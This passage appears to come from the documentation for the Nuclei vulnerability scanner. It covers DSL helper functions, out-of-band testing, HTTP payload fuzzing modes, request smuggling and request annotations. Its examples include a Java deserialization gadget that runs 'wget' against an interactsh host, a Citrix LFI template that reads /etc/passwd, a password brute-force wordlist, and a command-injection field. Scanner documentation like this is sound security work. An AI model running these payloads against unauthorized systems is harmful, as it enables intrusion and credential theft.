date_time(\"%Y-%M-%D %H:%m\", 1654870680)
date_time(\"2006-01-02 15:04\", unix_time()) 2022-06-10 14:18
-dec_to_hex(number number | string) string Transforms the input number into hexadecimal format dec_to_hex(7001)\" 1b59
-ends_with(str string, suffix …string) bool Checks if the string ends with any of the provided substrings ends_with(\"Hello\", \"lo\") true
-generate_java_gadget(gadget, cmd, encoding interface) string Generates a Java Deserialization Gadget generate_java_gadget(\"dns\", \"{{interactsh-url}}\", \"base64\") rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAAHQAAHEAfgAFdAAFcHh0ACpjYWhnMmZiaW41NjRvMGJ0MHRzMDhycDdlZXBwYjkxNDUub2FzdC5mdW54
-generate_jwt(json, algorithm, signature, unixMaxAge) []byte Generates a JSON Web Token (JWT) using the claims provided in a JSON string, the signature, and the specified algorithm generate_jwt(\"{\\"name\\":\\"John Doe\\",\\"foo\\":\\"bar\\"}\", \"HS256\", \"hello-world\") eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmb28iOiJiYXIiLCJuYW1lIjoiSm9obiBEb2UifQ.EsrL8lIcYJR_Ns-JuhF3VCllCP7xwbpMCCfHin_WT6U
-gzip(input string) string Compresses the input using GZip base64(gzip(\"Hello\")) +H4sIAAAAAAAA//JIzcnJBwQAAP//gonR9wUAAAA=
-gzip_decode(input string) string Decompresses the input using GZip gzip_decode(hex_decode(\"1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000\")) Hello
-hex_decode(input interface) []byte Hex decodes the given input hex_decode(\"6161\") aa
-hex_encode(input interface) string Hex encodes the given input hex_encode(\"aa\") 6161
-hex_to_dec(hexNumber number | string) float64 Transforms the input hexadecimal number into decimal format hex_to_dec(\"ff\")
hex_to_dec(\"0xff\") 255
-hmac(algorithm, data, secret) string hmac function that accepts a hashing function type with data and secret hmac(\"sha1\", \"test\", \"scrt\") 8856b111056d946d5c6c92a21b43c233596623c6
-html_escape(input interface) string HTML escapes the given input html_escape(\"\test\\") <body>test</body>
-html_unescape(input interface) string HTML un-escapes the given input html_unescape(\"<body>test</body>\") \test\
-join(separator string, elements …interface) string Joins the given elements using the specified separator join(\"_\", 123, \"hello\", \"world\") 123_hello_world
-json_minify(json) string Minifies a JSON string by removing unnecessary whitespace json_minify(\"{ \\"name\\": \\"John Doe\\", \\"foo\\": \\"bar\\" }\") {\"foo\":\"bar\",\"name\":\"John Doe\"}
-json_prettify(json) string Prettifies a JSON string by adding indentation json_prettify(\"{\\"foo\\":\\"bar\\",\\"name\\":\\"John Doe\\"}\") {
- \\"foo\\": \\"bar\\",
- \\"name\\": \\"John Doe\\"
-}
-len(arg interface) int Returns the length of the input len(\"Hello\") 5
-line_ends_with(str string, suffix …string) bool Checks if any line of the string ends with any of the provided substrings line_ends_with(\"Hello
-Hi\", \"lo\") true
-line_starts_with(str string, prefix …string) bool Checks if any line of the string starts with any of the provided substrings line_starts_with(\"Hi
-Hello\", \"He\") true
-md5(input interface) string Calculates the MD5 (Message Digest) hash of the input md5(\"Hello\") 8b1a9953c4611296a827abf8c47804d7
-mmh3(input interface) string Calculates the MMH3 (MurmurHash3) hash of an input mmh3(\"Hello\") 316307400
-oct_to_dec(octalNumber number | string) float64 Transforms the input octal number into a decimal format oct_to_dec(\"0o1234567\")
oct_to_dec(1234567) 342391
-print_debug(args …interface) Prints the value of a given input or expression. Used for debugging. print_debug(1+2, \"Hello\") 3 Hello
-rand_base(length uint, optionalCharSet string) string Generates a random sequence of given length string from an optional charset (defaults to letters and numbers) rand_base(5, \"abc\") caccb
-rand_char(optionalCharSet string) string Generates a random character from an optional character set (defaults to letters and numbers) rand_char(\"abc\") a
-rand_int(optionalMin, optionalMax uint) int Generates a random integer between the given optional limits (defaults to 0 - MaxInt32) rand_int(1, 10) 6
-rand_text_alpha(length uint, optionalBadChars string) string Generates a random string of letters, of given length, excluding the optional cutset characters rand_text_alpha(10, \"abc\") WKozhjJWlJ
-rand_text_alphanumeric(length uint, optionalBadChars string) string Generates a random alphanumeric string, of given length without the optional cutset characters rand_text_alphanumeric(10, \"ab12\") NthI0IiY8r
-rand_ip(cidr …string) string Generates a random IP address rand_ip(\"192.168.0.0/24\") 192.168.0.171
-rand_text_numeric(length uint, optionalBadNumbers string) string Generates a random numeric string of given length without the optional set of undesired numbers rand_text_numeric(10, 123) 0654087985
-regex(pattern, input string) bool Tests the given regular expression against the input string regex(\"H([a-z]+)o\", \"Hello\") true
-remove_bad_chars(input, cutset interface) string Removes the desired characters from the input remove_bad_chars(\"abcd\", \"bc\") ad
-repeat(str string, count uint) string Repeats the input string the given amount of times repeat(\"../\", 5) ../../../../../
-replace(str, old, new string) string Replaces a given substring in the given input replace(\"Hello\", \"He\", \"Ha\") Hallo
-replace_regex(source, regex, replacement string) string Replaces substrings matching the given regular expression in the input replace_regex(\"He123llo\", \"(\\d+)\", \"\") Hello
-reverse(input string) string Reverses the given input reverse(\"abc\") cba
-sha1(input interface) string Calculates the SHA1 (Secure Hash 1) hash of the input sha1(\"Hello\") f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0
-sha256(input interface) string Calculates the SHA256 (Secure Hash 256) hash of the input sha256(\"Hello\") 185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969
-starts_with(str string, prefix …string) bool Checks if the string starts with any of the provided substrings starts_with(\"Hello\", \"He\") true
-to_lower(input string) string Transforms the input into lowercase characters to_lower(\"HELLO\") hello
-to_unix_time(input string, layout string) int Parses a string date time using default or user given layouts, then returns its Unix timestamp to_unix_time(\"2022-01-13T16:30:10+00:00\")
to_unix_time(\"2022-01-13 16:30:10\")
to_unix_time(\"13-01-2022 16:30:10\". \"02-01-2006 15:04:05\") 1642091410
-to_upper(input string) string Transforms the input into uppercase characters to_upper(\"hello\") HELLO
-trim(input, cutset string) string Returns a slice of the input with all leading and trailing Unicode code points contained in cutset removed trim(\"aaaHelloddd\", \"ad\") Hello
-trim_left(input, cutset string) string Returns a slice of the input with all leading Unicode code points contained in cutset removed trim_left(\"aaaHelloddd\", \"ad\") Helloddd
-trim_prefix(input, prefix string) string Returns the input without the provided leading prefix string trim_prefix(\"aaHelloaa\", \"aa\") Helloaa
-trim_right(input, cutset string) string Returns a string, with all trailing Unicode code points contained in cutset removed trim_right(\"aaaHelloddd\", \"ad\") aaaHello
-trim_space(input string) string Returns a string, with all leading and trailing white space removed, as defined by Unicode trim_space(\" Hello \") \"Hello\"
-trim_suffix(input, suffix string) string Returns input without the provided trailing suffix string trim_suffix(\"aaHelloaa\", \"aa\") aaHello
-unix_time(optionalSeconds uint) float64 Returns the current Unix time (number of seconds elapsed since January 1, 1970 UTC) with the added optional seconds unix_time(10) 1639568278
-url_decode(input string) string URL decodes the input string url_decode(\"https:%2F%2Fprojectdiscovery.io%3Ftest=1\") https://projectdiscovery.io?test=1
-url_encode(input string) string URL encodes the input string url_encode(\"https://projectdiscovery.io/test?a=1\") https%3A%2F%2Fprojectdiscovery.io%2Ftest%3Fa%3D1
-wait_for(seconds uint) Pauses the execution for the given amount of seconds wait_for(10) true
-zlib(input string) string Compresses the input using Zlib base64(zlib(\"Hello\")) eJzySM3JyQcEAAD//wWMAfU=
-zlib_decode(input string) string Decompresses the input using Zlib zlib_decode(hex_decode(\"789cf248cdc9c907040000ffff058c01f5\")) Hello
-resolve(host string, format string) string Resolves a host using a dns type that you define resolve(\"localhost\",4) 127.0.0.1
-ip_format(ip string, format string) string It takes an input ip and converts it to another format according to this legend, the second parameter indicates the conversion index and must be between 1 and 11 ip_format(\"127.0.0.1\", 3) 0177.0.0.01
-
-Deserialization helper functions
-Nuclei allows payload generation for a few common gadget from ysoserial.
-
-Supported Payload:
-```
-dns (URLDNS)
-commons-collections3.1
-commons-collections4.0
-jdk7u21
-jdk8u20
-groovy1
-```
-Supported encodings:
-```
-base64 (default)
-gzip-base64
-gzip
-hex
-raw
-```
-Deserialization helper function format:
-
-```
-{{generate_java_gadget(payload, cmd, encoding }}
-```
-Deserialization helper function example:
-
-```
-{{generate_java_gadget(\"commons-collections3.1\", \"wget http://{{interactsh-url}}\", \"base64\")}}
-```
-JSON helper functions
-Nuclei allows manipulate JSON strings in different ways, here is a list of its functions:
-
-generate_jwt, to generates a JSON Web Token (JWT) using the claims provided in a JSON string, the signature, and the specified algorithm.
-json_minify, to minifies a JSON string by removing unnecessary whitespace.
-json_prettify, to prettifies a JSON string by adding indentation.
-Examples
-
-generate_jwt
-
-To generate a JSON Web Token (JWT), you have to supply the JSON that you want to sign, at least.
-
-Here is a list of supported algorithms for generating JWTs with generate_jwt function (case-insensitive):
-```
-HS256
-HS384
-HS512
-RS256
-RS384
-RS512
-PS256
-PS384
-PS512
-ES256
-ES384
-ES512
-EdDSA
-NONE
-```
-Empty string (\"\") also means NONE.
-
-Format:
-
-```
-{{generate_jwt(json, algorithm, signature, maxAgeUnix)}}
-```
-
-Arguments other than json are optional.
-
-Example:
-
-```
-variables:
- json: | # required
- {
- \"foo\": \"bar\",
- \"name\": \"John Doe\"
- }
- alg: \"HS256\" # optional
- sig: \"this_is_secret\" # optional
- age: \'{{to_unix_time(\"2032-12-30T16:30:10+00:00\")}}\' # optional
- jwt: \'{{generate_jwt(json, \"{{alg}}\", \"{{sig}}\", \"{{age}}\")}}\'
-```
-The maxAgeUnix argument is to set the expiration \"exp\" JWT standard claim, as well as the \"iat\" claim when you call the function.
-
-json_minify
-
-Format:
-
-```
-{{json_minify(json)}}
-```
-Example:
-
-```
-variables:
- json: |
- {
- \"foo\": \"bar\",
- \"name\": \"John Doe\"
- }
- minify: \"{{json_minify(json}}\"
-```
-minify variable output:
-
-```
-{ \"foo\": \"bar\", \"name\": \"John Doe\" }
-```
-json_prettify
-
-Format:
-
-```
-{{json_prettify(json)}}
-```
-Example:
-
-```
-variables:
- json: \'{\"foo\":\"bar\",\"name\":\"John Doe\"}\'
- pretty: \"{{json_prettify(json}}\"
-```
-pretty variable output:
-
-```
-{
- \"foo\": \"bar\",
- \"name\": \"John Doe\"
-}
-```
-
-resolve
-
-Format:
-
-```
-{{ resolve(host, format) }}
-```
-Here is a list of formats available for dns type:
-```
-4 or a
-6 or aaaa
-cname
-ns
-txt
-srv
-ptr
-mx
-soa
-caa
-```
-
-
-
-# Preprocessors
-Review details on pre-processors for Nuclei
-Certain pre-processors can be specified globally anywhere in the template that run as soon as the template is loaded to achieve things like random ids generated for each template run.
-
-```
-{{randstr}}
-```
-Generates a random ID for a template on each nuclei run. This can be used anywhere in the template and will always contain the same value. randstr can be suffixed by a number, and new random ids will be created for those names too. Ex. {{randstr_1}} which will remain same across the template.
-
-randstr is also supported within matchers and can be used to match the inputs.
-
-For example:
-
-```
-http:
- - method: POST
- path:
- - \"{{BaseURL}}/level1/application/\"
- headers:
- cmd: echo \'{{randstr}}\'
-
- matchers:
- - type: word
- words:
- - \'{{randstr}}\'
-```
-
-OOB Testing
-Understanding OOB testing with Nuclei Templates
-Since release of Nuclei v2.3.6, Nuclei supports using the interactsh API to achieve OOB based vulnerability scanning with automatic Request correlation built in. It’s as easy as writing {{interactsh-url}} anywhere in the request, and adding a matcher for interact_protocol. Nuclei will handle correlation of the interaction to the template & the request it was generated from allowing effortless OOB scanning.
-
-
-Interactsh Placeholder
-
-{{interactsh-url}} placeholder is supported in http and network requests.
-
-An example of nuclei request with {{interactsh-url}} placeholders is provided below. These are replaced on runtime with unique interactsh URLs.
-
-```
- - raw:
- - |
- GET /plugins/servlet/oauth/users/icon-uri?consumerUri=https://{{interactsh-url}} HTTP/1.1
- Host: {{Hostname}}
-```
-
-Interactsh Matchers
-Interactsh interactions can be used with word, regex or dsl matcher/extractor using following parts.
-
-part
-```
-interactsh_protocol
-interactsh_request
-interactsh_response
-interactsh_protocol
-```
-Value can be dns, http or smtp. This is the standard matcher for every interactsh based template with DNS often as the common value as it is very non-intrusive in nature.
-
-interactsh_request
-
-The request that the interactsh server received.
-
-interactsh_response
-
-The response that the interactsh server sent to the client.
-
-# Example of Interactsh DNS Interaction matcher:
-
-```
- matchers:
- - type: word
- part: interactsh_protocol # Confirms the DNS Interaction
- words:
- - \"dns\"
-```
-Example of HTTP Interaction matcher + word matcher on Interaction content
-
-```
-matchers-condition: and
-matchers:
- - type: word
- part: interactsh_protocol # Confirms the HTTP Interaction
- words:
- - \"http\"
-
- - type: regex
- part: interactsh_request # Confirms the retrieval of /etc/passwd file
- regex:
- - \"root:[x*]:0:0:\"
-```
-
-
-
----------------------
-
-
-
-## Protocols :
-
-# HTTP Protocol :
-
-### Basic HTTP
-
-Nuclei offers extensive support for various features related to HTTP protocol. Raw and Model based HTTP requests are supported, along with options Non-RFC client requests support too. Payloads can also be specified and raw requests can be transformed based on payload values along with many more capabilities that are shown later on this Page.
-
-HTTP Requests start with a request block which specifies the start of the requests for the template.
-
-```
-# Start the requests for the template right here
-http:
-```
-
-Method
-Request method can be GET, POST, PUT, DELETE, etc. depending on the needs.
-
-```
-# Method is the method for the request
-method: GET
-```
-
-### Redirects
-
-Redirection conditions can be specified per each template. By default, redirects are not followed. However, if desired, they can be enabled with redirects: true in request details. 10 redirects are followed at maximum by default which should be good enough for most use cases. More fine grained control can be exercised over number of redirects followed by using max-redirects field.
-
-
-An example of the usage:
-
-```
-http:
- - method: GET
- path:
- - \"{{BaseURL}}/login.php\"
- redirects: true
- max-redirects: 3
-```
-
-
-
-### Path
-The next part of the requests is the path of the request path. Dynamic variables can be placed in the path to modify its behavior on runtime.
-
-Variables start with {{ and end with }} and are case-sensitive.
-
-{{BaseURL}} - This will replace on runtime in the request by the input URL as specified in the target file.
-
-{{RootURL}} - This will replace on runtime in the request by the root URL as specified in the target file.
-
-{{Hostname}} - Hostname variable is replaced by the hostname including port of the target on runtime.
-
-{{Host}} - This will replace on runtime in the request by the input host as specified in the target file.
-
-{{Port}} - This will replace on runtime in the request by the input port as specified in the target file.
-
-{{Path}} - This will replace on runtime in the request by the input path as specified in the target file.
-
-{{File}} - This will replace on runtime in the request by the input filename as specified in the target file.
-
-{{Scheme}} - This will replace on runtime in the request by protocol scheme as specified in the target file.
-
-An example is provided below - https://example.com:443/foo/bar.php
-```
-Variable Value
-{{BaseURL}} https://example.com:443/foo/bar.php
-{{RootURL}} https://example.com:443
-{{Hostname}} example.com:443
-{{Host}} example.com
-{{Port}} 443
-{{Path}} /foo
-{{File}} bar.php
-{{Scheme}} https
-```
-
-Some sample dynamic variable replacement examples:
-
-
-
-```
-path: \"{{BaseURL}}/.git/config\"
-```
-# This path will be replaced on execution with BaseURL
-# If BaseURL is set to https://abc.com then the
-# path will get replaced to the following: https://abc.com/.git/config
-Multiple paths can also be specified in one request which will be requested for the target.
-
-
-### Headers
-
-Headers can also be specified to be sent along with the requests. Headers are placed in form of key/value pairs. An example header configuration looks like this:
-
-```
-# headers contain the headers for the request
-headers:
- # Custom user-agent header
- User-Agent: Some-Random-User-Agent
- # Custom request origin
- Origin: https://google.com
-```
-
-### Body
-Body specifies a body to be sent along with the request. For instance:
-```
-# Body is a string sent along with the request
-body: \"admin=test\"
-```
-
-Session
-To maintain a cookie-based browser-like session between multiple requests, cookies are reused by default. This is beneficial when you want to maintain a session between a series of requests to complete the exploit chain or to perform authenticated scans. If you need to disable this behavior, you can use the disable-cookie field.
-
-```
-# disable-cookie accepts boolean input and false as default
-disable-cookie: true
-```
-
-### Request Condition
-Request condition allows checking for the condition between multiple requests for writing complex checks and exploits involving various HTTP requests to complete the exploit chain.
-
-The functionality will be automatically enabled if DSL matchers/extractors contain numbers as a suffix with respective attributes.
-
-For example, the attribute status_code will point to the effective status code of the current request/response pair in elaboration. Previous responses status codes are accessible by suffixing the attribute name with _n, where n is the n-th ordered request 1-based. So if the template has four requests and we are currently at number 3:
-
-status_code: will refer to the response code of request number 3
-status_code_1 and status_code_2 will refer to the response codes of the sequential responses number one and two
-For example with status_code_1, status_code_3, andbody_2:
-
-```
- matchers:
- - type: dsl
- dsl:
- - \"status_code_1 == 404 && status_code_2 == 200 && contains((body_2), \'secret_string\')\"
-```
-Request conditions might require more memory as all attributes of previous responses are kept in memory
-
-Example HTTP Template
-The final template file for the .git/config file mentioned above is as follows:
-
-```
-id: git-config
-
-info:
- name: Git Config File
- author: Ice3man
- severity: medium
- description: Searches for the pattern /.git/config on passed URLs.
-
-http:
- - method: GET
- path:
- - \"{{BaseURL}}/.git/config\"
- matchers:
- - type: word
- words:
- - \"[core]\"
-```
-
-
-### Raw HTTP
-Another way to create request is using raw requests which comes with more flexibility and support of DSL helper functions, like the following ones (as of now it’s suggested to leave the Host header as in the example with the variable {{Hostname}}), All the Matcher, Extractor capabilities can be used with RAW requests in same the way described above.
-
-```
-http:
- - raw:
- - |
- POST /path2/ HTTP/1.1
- Host: {{Hostname}}
- Content-Type: application/x-www-form-urlencoded
-
- a=test&b=pd
-```
-Requests can be fine-tuned to perform the exact tasks as desired. Nuclei requests are fully configurable meaning you can configure and define each and every single thing about the requests that will be sent to the target servers.
-
-RAW request format also supports various helper functions letting us do run time manipulation with input. An example of the using a helper function in the header.
-
-```
- - raw:
- - |
- GET /manager/html HTTP/1.1
- Host: {{Hostname}}
- Authorization: Basic {{base64(\'username:password\')}}
-```
-To make a request to the URL specified as input without any additional tampering, a blank Request URI can be used as specified below which will make the request to user specified input.
-
-```
- - raw:
- - |
- GET HTTP/1.1
- Host: {{Hostname}}
-```
-
-# HTTP Payloads
-
-Overview
-Nuclei engine supports payloads module that allow to run various type of payloads in multiple format, It’s possible to define placeholders with simple keywords (or using brackets {{helper_function(variable)}} in case mutator functions are needed), and perform batteringram, pitchfork and clusterbomb attacks. The wordlist for these attacks needs to be defined during the request definition under the Payload field, with a name matching the keyword, Nuclei supports both file based and in template wordlist support and Finally all DSL functionalities are fully available and supported, and can be used to manipulate the final values.
-
-Payloads are defined using variable name and can be referenced in the request in between {{ }} marker.
-
-
-Examples
-An example of the using payloads with local wordlist:
-
-
-# HTTP Intruder fuzzing using local wordlist.
-```
-payloads:
- paths: params.txt
- header: local.txt
-```
-An example of the using payloads with in template wordlist support:
-
-
-# HTTP Intruder fuzzing using in template wordlist.
-```
-payloads:
- password:
- - admin
- - guest
- - password
-```
-Note: be careful while selecting attack type, as unexpected input will break the template.
-
-For example, if you used clusterbomb or pitchfork as attack type and defined only one variable in the payload section, template will fail to compile, as clusterbomb or pitchfork expect more than one variable to use in the template.
-
-
-### Attack modes:
-Nuclei engine supports multiple attack types, including batteringram as default type which generally used to fuzz single parameter, clusterbomb and pitchfork for fuzzing multiple parameters which works same as classical burp intruder.
-
-Type batteringram pitchfork clusterbomb
-Support ✔ ✔ ✔
-
-batteringram
-The battering ram attack type places the same payload value in all positions. It uses only one payload set. It loops through the payload set and replaces all positions with the payload value.
-
-
-pitchfork
-The pitchfork attack type uses one payload set for each position. It places the first payload in the first position, the second payload in the second position, and so on.
-
-It then loops through all payload sets at the same time. The first request uses the first payload from each payload set, the second request uses the second payload from each payload set, and so on.
-
-
-clusterbomb
-The cluster bomb attack tries all different combinations of payloads. It still puts the first payload in the first position, and the second payload in the second position. But when it loops through the payload sets, it tries all combinations.
-
-It then loops through all payload sets at the same time. The first request uses the first payload from each payload set, the second request uses the second payload from each payload set, and so on.
-
-This attack type is useful for a brute-force attack. Load a list of commonly used usernames in the first payload set, and a list of commonly used passwords in the second payload set. The cluster bomb attack will then try all combinations.
-
-
-
-Attack Mode Example
-An example of the using clusterbomb attack to fuzz.
-
-```
-http:
- - raw:
- - |
- POST /?file={{path}} HTTP/1.1
- User-Agent: {{header}}
- Host: {{Hostname}}
-
- attack: clusterbomb # Defining HTTP fuzz attack type
- payloads:
- path: helpers/wordlists/prams.txt
- header: helpers/wordlists/header.txt
-```
-
-# HTTP Payloads Examples
-Review some HTTP payload examples for Nuclei
-
-### HTTP Intruder fuzzing
-This template makes a defined POST request in RAW format along with in template defined payloads running clusterbomb intruder and checking for string match against response.
-
-```
-id: multiple-raw-example
-info:
- name: Test RAW Template
- author: princechaddha
- severity: info
-
-# HTTP Intruder fuzzing with in template payload support.
-
-http:
-
- - raw:
- - |
- POST /?username=§username§¶mb=§password§ HTTP/1.1
- User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5)
- Host: {{Hostname}}
- another_header: {{base64(\'§password§\')}}
- Accept: */*
- body=test
-
- payloads:
- username:
- - admin
-
- password:
- - admin
- - guest
- - password
- - test
- - 12345
- - 123456
-
- attack: clusterbomb # Available: batteringram,pitchfork,clusterbomb
-
- matchers:
- - type: word
- words:
- - \"Test is test matcher text\"
-```
-
-### Fuzzing multiple requests
-This template makes a defined POST request in RAW format along with wordlist based payloads running clusterbomb intruder and checking for string match against response.
-
-```
-id: multiple-raw-example
-info:
- name: Test RAW Template
- author: princechaddha
- severity: info
-
-http:
-
- - raw:
- - |
- POST /?param_a=§param_a§¶mb=§param_b§ HTTP/1.1
- User-Agent: §param_a§
- Host: {{Hostname}}
- another_header: {{base64(\'§param_b§\')}}
- Accept: */*
-
- admin=test
-
- - |
- DELETE / HTTP/1.1
- User-Agent: nuclei
- Host: {{Hostname}}
-
- {{sha256(\'§param_a§\')}}
-
- - |
- PUT / HTTP/1.1
- Host: {{Hostname}}
-
- {{html_escape(\'§param_a§\')}} + {{hex_encode(\'§param_b§\'))}}
-
- attack: clusterbomb # Available types: batteringram,pitchfork,clusterbomb
- payloads:
- param_a: payloads/prams.txt
- param_b: payloads/paths.txt
-
- matchers:
- - type: word
- words:
- - \"Test is test matcher text\"
-```
-
-### Authenticated fuzzing
-This template makes a subsequent HTTP requests with defined requests maintaining sessions between each request and checking for string match against response.
-
-```
-id: multiple-raw-example
-info:
- name: Test RAW Template
- author: princechaddha
- severity: info
-
-http:
- - raw:
- - |
- GET / HTTP/1.1
- Host: {{Hostname}}
- Origin: {{BaseURL}}
-
- - |
- POST /testing HTTP/1.1
- Host: {{Hostname}}
- Origin: {{BaseURL}}
-
- testing=parameter
-
- cookie-reuse: true # Cookie-reuse maintain the session between all request like browser.
- matchers:
- - type: word
- words:
- - \"Test is test matcher text\"
-```
-
-Dynamic variable support
-
-This template makes a subsequent HTTP requests maintaining sessions between each request, dynamically extracting data from one request and reusing them into another request using variable name and checking for string match against response.
-
-```
-id: CVE-2020-8193
-
-info:
- name: Citrix unauthenticated LFI
- author: princechaddha
- severity: high
- reference: https://github.com/jas502n/CVE-2020-8193
-
-http:
- - raw:
- - |
- POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
- Host: {{Hostname}}
- User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
- Content-Type: application/xml
- X-NITRO-USER: xpyZxwy6
- X-NITRO-PASS: xWXHUJ56
-
-
-
- - |
- GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1
- Host: {{Hostname}}
- User-Agent: python-requests/2.24.0
- Accept: */*
- Connection: close
-
- - |
- GET /menu/neo HTTP/1.1
- Host: {{Hostname}}
- User-Agent: python-requests/2.24.0
- Accept: */*
- Connection: close
-
- - |
- GET /menu/stc HTTP/1.1
- Host: {{Hostname}}
- User-Agent: python-requests/2.24.0
- Accept: */*
- Connection: close
-
- - |
- POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
- Host: {{Hostname}}
- User-Agent: python-requests/2.24.0
- Accept: */*
- Connection: close
- Content-Type: application/xml
- X-NITRO-USER: oY39DXzQ
- X-NITRO-PASS: ZuU9Y9c1
- rand_key: §randkey§
-
-
-
- - |
- POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1
- Host: {{Hostname}}
- User-Agent: python-requests/2.24.0
- Accept: */*
- Connection: close
- Content-Type: application/xml
- X-NITRO-USER: oY39DXzQ
- X-NITRO-PASS: ZuU9Y9c1
- rand_key: §randkey§
-
-
-
- cookie-reuse: true # Using cookie-reuse to maintain session between each request, same as browser.
-
- extractors:
- - type: regex
- name: randkey # Variable name
- part: body
- internal: true
- regex:
- - \"(?m)[0-9]{3,10}\\.[0-9]+\"
-
- matchers:
- - type: regex
- regex:
- - \"root:[x*]:0:0:\"
- part: body
-```
-
-# Advanced HTTP
-
-### Unsafe HTTP
-Learn about using rawhttp or unsafe HTTP with Nuclei
-Nuclei supports rawhttp for complete request control and customization allowing any kind of malformed requests for issues like HTTP request smuggling, Host header injection, CRLF with malformed characters and more.
-
-rawhttp library is disabled by default and can be enabled by including unsafe: true in the request block.
-
-Here is an example of HTTP request smuggling detection template using rawhttp.
-
-```
-http:
- - raw:
- - |+
- POST / HTTP/1.1
- Host: {{Hostname}}
- Content-Type: application/x-www-form-urlencoded
- Content-Length: 150
- Transfer-Encoding: chunked
-
- 0
-
- GET /post?postId=5 HTTP/1.1
- User-Agent: a\"/>
- Content-Type: application/x-www-form-urlencoded
- Content-Length: 5
-
- x=1
- - |+
- GET /post?postId=5 HTTP/1.1
- Host: {{Hostname}}
-
- unsafe: true # Enables rawhttp client
- matchers:
- - type: dsl
- dsl:
- - \'contains(body, \"\")\'
-```
-
-
-### Connection Tampering
-Learn more about using HTTP pipelining and connection pooling with Nuclei
-
-Pipelining
-HTTP Pipelining support has been added which allows multiple HTTP requests to be sent on the same connection inspired from http-desync-attacks-request-smuggling-reborn.
-
-Before running HTTP pipelining based templates, make sure the running target supports HTTP Pipeline connection, otherwise nuclei engine fallbacks to standard HTTP request engine.
-
-If you want to confirm the given domain or list of subdomains supports HTTP Pipelining, httpx has a flag -pipeline to do so.
-
-An example configuring showing pipelining attributes of nuclei.
-
-```
- unsafe: true
- pipeline: true
- pipeline-concurrent-connections: 40
- pipeline-requests-per-connection: 25000
-```
-An example template demonstrating pipelining capabilities of nuclei has been provided below:
-
-```
-id: pipeline-testing
-info:
- name: pipeline testing
- author: princechaddha
- severity: info
-
-http:
- - raw:
- - |+
- GET /{{path}} HTTP/1.1
- Host: {{Hostname}}
- Referer: {{BaseURL}}
-
- attack: batteringram
- payloads:
- path: path_wordlist.txt
-
- unsafe: true
- pipeline: true
- pipeline-concurrent-connections: 40
- pipeline-requests-per-connection: 25000
-
- matchers:
- - type: status
- part: header
- status:
- - 200
-```
-### Connection pooling
-While the earlier versions of nuclei did not do connection pooling, users can now configure templates to either use HTTP connection pooling or not. This allows for faster scanning based on requirement.
-
-To enable connection pooling in the template, threads attribute can be defined with respective number of threads you wanted to use in the payloads sections.
-
-Connection: Close header can not be used in HTTP connection pooling template, otherwise engine will fail and fallback to standard HTTP requests with pooling.
-
-An example template using HTTP connection pooling:
-
-```
-id: fuzzing-example
-info:
- name: Connection pooling example
- author: princechaddha
- severity: info
-
-http:
-
- - raw:
- - |
- GET /protected HTTP/1.1
- Host: {{Hostname}}
- Authorization: Basic {{base64(\'admin:§password§\')}}
-
- attack: batteringram
- payloads:
- password: password.txt
- threads: 40
-
- matchers-condition: and
- matchers:
- - type: status
- status:
- - 200
-
- - type: word
- words:
- - \"Unique string\"
- part: body
-```
-
-## Request Tampering
-Learn about request tampering in HTTP with Nuclei
-
-### Requests Annotation
-Request inline annotations allow performing per request properties/behavior override. They are very similar to python/java class annotations and must be put on the request just before the RFC line. Currently, only the following overrides are supported:
-
-@Host: which overrides the real target of the request (usually the host/ip provided as input). It supports syntax with ip/domain, port, and scheme, for example: domain.tld, domain.tld:port, http://domain.tld:port
-@tls-sni: which overrides the SNI Name of the TLS request (usually the hostname provided as input). It supports any literals. The special value request.host uses the Host header and interactsh-url uses an interactsh generated URL.
-@timeout: which overrides the timeout for the request to a custom duration. It supports durations formatted as string. If no duration is specified, the default Timeout flag value is used.
-The following example shows the annotations within a request:
-
-```
-- |
- @Host: https://projectdiscovery.io:443
- POST / HTTP/1.1
- Pragma: no-cache
- Host: {{Hostname}}
- Cache-Control: no-cache, no-transform
- User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
-```
-This is particularly useful, for example, in the case of templates with multiple requests, where one request after the initial one needs to be performed to a specific host (for example, to check an API validity):
-
-```
-http:
- - raw:
- # this request will be sent to {{Hostname}} to get the token
- - |
- GET /getkey HTTP/1.1
- Host: {{Hostname}}
-
- # This request will be sent instead to https://api.target.com:443 to verify the token validity
- - |
- @Host: https://api.target.com:443
- GET /api/key={{token}} HTTP/1.1
- Host: api.target.com:443
-
- extractors:
- - type: regex
- name: token
- part: body
- regex:
- # random extractor of strings between prefix and suffix
- - \'prefix(.*)suffix\'
-
- matchers:
- - type: word
- part: body
- words:
- - valid token
-```
-
-Example of custom timeout annotations:
-
-```
-- |
- @timeout: 25s
- POST /conf_mail.php HTTP/1.1
- Host: {{Hostname}}
- Content-Type: application/x-www-form-urlencoded
-
- mail_address=%3B{{cmd}}%3B&button=%83%81%81%5B%83%8B%91%97%90M
-```
-
-Example of sni annotation with interactsh-url:
-
-```
-- |
- @tls-sni: interactsh-url
- POST /conf_mail.php HTTP/1.1
- Host: {{Hostname}}
- Content-Type: application/x-www-form-urlencoded
-
- mail_address=%3B{{cmd}}%3B&button=%83%81%81%5B%83%8B%91%97%90M
-```
-
-# Network Protocol
-Learn about network requests with Nuclei
